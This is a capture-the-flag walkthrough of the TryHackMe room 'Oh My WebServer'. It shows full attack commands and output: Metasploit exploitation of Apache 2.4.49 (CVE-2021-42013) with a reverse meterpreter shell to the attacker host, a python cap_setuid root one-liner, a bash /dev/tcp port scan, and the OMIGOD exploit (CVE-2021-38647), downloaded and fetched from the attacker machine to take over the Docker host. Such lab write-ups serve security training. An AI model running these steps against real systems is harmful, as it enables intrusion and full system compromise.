Oh My WebServer - Write-up - TryHackMe

Information

Room#

  • Name: Oh My WebServer
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Can you root me?

Oh My WebServer

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap lynx metasploit gtfoblookup

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.92 scan initiated Thu Mar 31 20:00:05 2022 as: nmap -sSVC -p- -T4 -v -oA nmap_full 10.10.56.13
Nmap scan report for 10.10.56.13
Host is up (0.040s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
| 256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
|_ 256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
80/tcp open http Apache httpd 2.4.49 ((Unix))
|_http-title: Consult - Business Consultancy Agency Template | Home
|_http-favicon: Unknown favicon MD5: 02FD5D10B62C7BC5AD03F8B0F105323C
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.49 (Unix)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 31 20:02:30 2022 -- 1 IP address (1 host up) scanned in 144.91 seconds

Let's add a custom domain:

1
2
$ grep 10.10.56.13 /etc/hosts
10.10.56.13 ohmyweb.thm

Web enumeration#

There are no links to some interesting features:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ lynx -dump -listonly -nonumbers http://ohmyweb.thm/
Visible links:
http://ohmyweb.thm/index.html
http://ohmyweb.thm/#home
http://ohmyweb.thm/#about
http://ohmyweb.thm/#services
http://ohmyweb.thm/#portfolio
http://ohmyweb.thm/#blog
http://ohmyweb.thm/#contact
http://ohmyweb.thm/#pricing
http://ohmyweb.thm/#business
http://ohmyweb.thm/#digital
http://ohmyweb.thm/#market
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
https://uideck.com/

Hidden links:
http://ohmyweb.thm/assets/images/protfolio-1.jpg
http://ohmyweb.thm/assets/images/protfolio-2.jpg
http://ohmyweb.thm/assets/images/protfolio-3.jpg
http://ohmyweb.thm/assets/images/protfolio-5.jpg
http://ohmyweb.thm/assets/images/protfolio-4.jpg
http://ohmyweb.thm/assets/images/protfolio-6.jpg
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/

Let's enumerate files and folders then:

1
2
3
4
5
6
7
8
9
10
11
$ ffuf -u 'http://ohmyweb.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fc 404
...
assets [Status: 301, Size: 234, Words: 14, Lines: 8, Duration: 25ms]
[Status: 200, Size: 57985, Words: 25871, Lines: 1030, Duration: 25ms]

$ ffuf -u 'http://ohmyweb.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -mc all -fc 404 -fs 199
...
index.html [Status: 200, Size: 57985, Words: 25871, Lines: 1030, Duration: 27ms]
. [Status: 200, Size: 57985, Words: 25871, Lines: 1030, Duration: 24ms]

$ ffuf -u 'http://ohmyweb.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -mc all -fc 404 -fs 199

There is no specific page to see.

Apache httpd 2.4.49 is vulnerable to CVE-2021-41773 and CVE-2021-42013

Web exploitation#

The RCE is available on metasploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
msf6 exploit(multi/http/apache_normalize_path_rce) > options

Module options (exploit/multi/http/apache_normalize_path_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2021-42013 yes The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
DEPTH 5 yes Depth for Path Traversal
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS ohmyweb.thm yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin yes Base path
VHOST no HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.9.19.77 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic (Dropper)

msf6 exploit(multi/http/apache_normalize_path_rce) > run

[*] Started reverse TCP handler on 10.9.19.77:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://10.10.56.13:80 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://10.10.56.13:80 - Attempt to exploit for CVE-2021-42013
[*] http://10.10.56.13:80 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] Sending stage (3020772 bytes) to 10.10.56.13
[*] Meterpreter session 1 opened (10.9.19.77:4444 -> 10.10.56.13:45242 ) at 2022-03-31 20:20:57 +0200
[!] This exploit may require manual cleanup of '/tmp/wAIYJ' on the target

We run with the user daemon:

1
2
3
4
5
6
7
8
meterpreter > shell
Process 146 created.
Channel 1 created.

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
python3 -c 'import pty;pty.spawn("/bin/bash")'
daemon@4a70924bafa0:/bin$

Elevation of privilege (EoP): from daemon to root (docker)#

We don't see any non-daemon user in /home or /etc/passwd.

There is a /.dockerenv proving we are in a docker container.

Either with linpeas or getcap we can find binaries with capabilities.

1
2
$ daemon@4a70924bafa0:/bin$ getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep

Let's see how to exploit that:

1
2
3
4
5
6
7
$ gtfoblookup gtfobins search -c cap python
python:

capabilities:

Code: ./python -c 'import os; os.setuid(0);
os.system("/bin/sh")'

It's then easy to get root access:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
daemon@4a70924bafa0:/bin$ /usr/bin/python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@4a70924bafa0:/bin# id
uid=0(root) gid=1(daemon) groups=1(daemon)

root@4a70924bafa0:/bin# ls -lhA /root
total 20K
lrwxrwxrwx 1 root root 9 Oct 8 05:43 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4.0K Oct 8 05:37 .cache
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root daemon 12 Oct 8 08:28 .python_history
-rw-r--r-- 1 root root 38 Oct 8 05:47 user.txt

root@4a70924bafa0:/bin# cat /root/user.txt
THM{edited}

Elevation of privilege (EoP): from root (docker) to root (host)#

We can find the IP address of the container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@4a70924bafa0:/bin# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2 4a70924bafa0

root@4a70924bafa0:/bin# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 116416 bytes 18857271 (17.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 106765 bytes 50395767 (48.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Let's assume that 172.17.0.1 is the docker host.

If you don't want to import a static binary on the machine you can still use a basic alternative in bash.

1
2
3
4
for port in {1..65535}; do
timeout 1 bash -c "echo >/dev/tcp/172.17.0.1/$port" &&
echo "port $port is open"
done

Output:

1
2
3
port 22 is open
port 80 is open
port 5986 is open

On HackTricks we can learn the 5986 port is hosting the OMI service:

OMI is an open-source remote configuration management tool developed by Microsoft. OMI agents are commonly found installed on Azure Linux servers.

There is a vulnerability CVE-2021-38647 aka OMIGOD targeting this service.

So let's serve it on our host...

1
2
$ wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/main/omigod.py
$ ruby -run -ehttpd . -p8000

... and upload it on the target.

1
curl http://10.9.19.77:8000/omigod.py -o omigod.py

First, we can see it works and dump the flag.

1
2
3
4
5
root@4a70924bafa0:/bin# python3 omigod.py -t 172.17.0.1 -c id
uid=0(root) gid=0(root) groups=0(root)

root@4a70924bafa0:/bin# python3 omigod.py -t 172.17.0.1 -c 'cat /root/root.txt'
THM{edited}
Share